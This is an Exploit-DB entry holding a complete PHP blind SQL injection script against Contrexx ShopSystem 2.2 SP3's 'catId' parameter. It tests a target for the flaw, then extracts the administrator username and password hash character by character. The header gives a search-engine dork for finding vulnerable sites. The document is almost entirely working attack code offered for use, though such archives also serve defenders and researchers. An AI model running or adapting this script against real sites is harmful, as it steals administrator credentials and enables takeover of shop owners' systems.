Exploit-DB #17682
Description: Contrexx ShopSystem 2.2 SP3 - 'catId' Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-08-17
Author: Penguin

Exploit:
#!/usr/bin/php
<?php
/*
	Exploit title: Contrexx Shopsystem Blind SQL Injection Exploit
	Exploit written by: Penguin
	Exploit: index.php?section=shop&catId=[VALID categoryid] and [YOUR BLIND SQL CODE]
	Exploit tested on: Debian 6, Ubuntu Linux 11.04
	Software price: abount 700 CHF
        Vendor: http://www.contrexx.com
	Found by: Penguin
	Version: =< 2.2 SP 3
	Dork: inurl:index.php?section=shop&catId=
	Vendor: www.contrexx.com
	Visit: www.null-sector.info
	Greets to: Blacktiger/Luxy, ErrorX, hAgBaRd2ooo, KrimiX, zYiix, reutz/head
 */
echo "#######################################\r\n";
echo "# Contrexx Shopsystem Exploit         #\r\n";
echo "# Exploit Type: Blind SQL Injection   #\r\n";
echo "# Programmed by: Penguin              #\r\n";
echo "# Visit www.null-sector.info          #\r\n";
echo "#######################################\r\n";
if($argc < 4)
{
	echo "Usage: ./exploit.php [TARGET_URL] [CATID] (Admin User Limit)\r\n";
	echo "TARGET_URL = http://demo.de/index.php\r\n";
	echo "CATID = CategoryId (MUST BE VALID!)\r\n";
	echo "Admin User Limit = Limit x,0 @ Selecting! Standard: 0\r\n";
	die();
}
// Config Variables
$target_url = $argv[1] . "?section=shop&catId=" . $argv[2];
$charset_start_usr = 33;
$charset_end_usr = 126;
$charset_hash = Array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$toLength = 100;
//Functions
function getUsername($toLength, $charset_start, $charset_end, $target_url,$limit)
{
	$username = "";
	// Get Length
	$length = -1;
	for($i=0;$i<$toLength;$i++)
	{
		$url = $target_url . "/**/and/**/(select/**/length(username)/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1)=" . $i;
		$src = file_get_contents($url);
		if(testIt($src) == true)
		{
			$length = $i;
			break;
		}
	}
	if ($length == -1)
	{
		die("There was a problem @ fetching username length :(\r\n");
	}
	echo "Username length: $length !\r\n";
	$username = "";
	echo "Username: ";
	for($k=0;$k<$length;$k++)
	{
		$charToAdd = "";
		for($c=$charset_start;$c<$charset_end;$c++)
		{
			$p = $k+1;
			$src = file_get_contents($target_url . "/**/and/**/substring((select/**/username/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1),$p,1)=char($c)");
			if(testIt($src) == true)
			{
				$charToAdd = $c;
				break;
			}
		}
		echo chr($c);
		$username .= chr($c);
	}
	echo "\r\n";
	return $username;
}

function getHash($toLength, $charset, $target_url,$limit)
{
	// Get Hash

	$hash = "";
	echo "Hash: ";
	for($k=0;$k<32;$k++)
	{
		$charToAdd = "";
		for($c=0;$c<count($charset);$c++)
		{
			$p = $k+1;
			$z = $charset[$c];
			$src = file_get_contents($target_url . "/**/and/**/substring((select/**/password/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1),$p,1)=char($z)");
			file_put_contents("test.html",$src);
			if(testIt($src) == true)
			{
				$charToAdd = $charset[$c];
				break;
			}
		}
		echo chr($charToAdd);
		$hash .= chr($charToAdd);
	}
	echo "\r\n";
	return $hash;
}

function testIt($src)
{
	$check = explode("<div class=\"description\">",$src);
	if(count($check) >= 2)
	{
		return true;
	}
	return false;
}

echo "Starting exploit....\r\nChecking if Vulnerable...";
$check = file_get_contents($target_url . "'");
if(testIt($check) == true)
{
	die("Target is not Vulnerable :(\r\n");
}

$myLimit = $argv[3];
echo "Target is Vulnerable :)\r\n";
echo "Starting the SQL Injection...\r\n";
echo "Fetching Username...\r\n";
$username = getUsername($toLength, $charset_start_usr, $charset_end_usr, $target_url,$myLimit);
$hash = getHash($toLength,$charset_hash,$target_url,$myLimit);
echo "Exploited Successfully!\r\n";
echo "Full Logindata: $username : $hash\r\n";
echo "Have fun ;)\r\n";
?>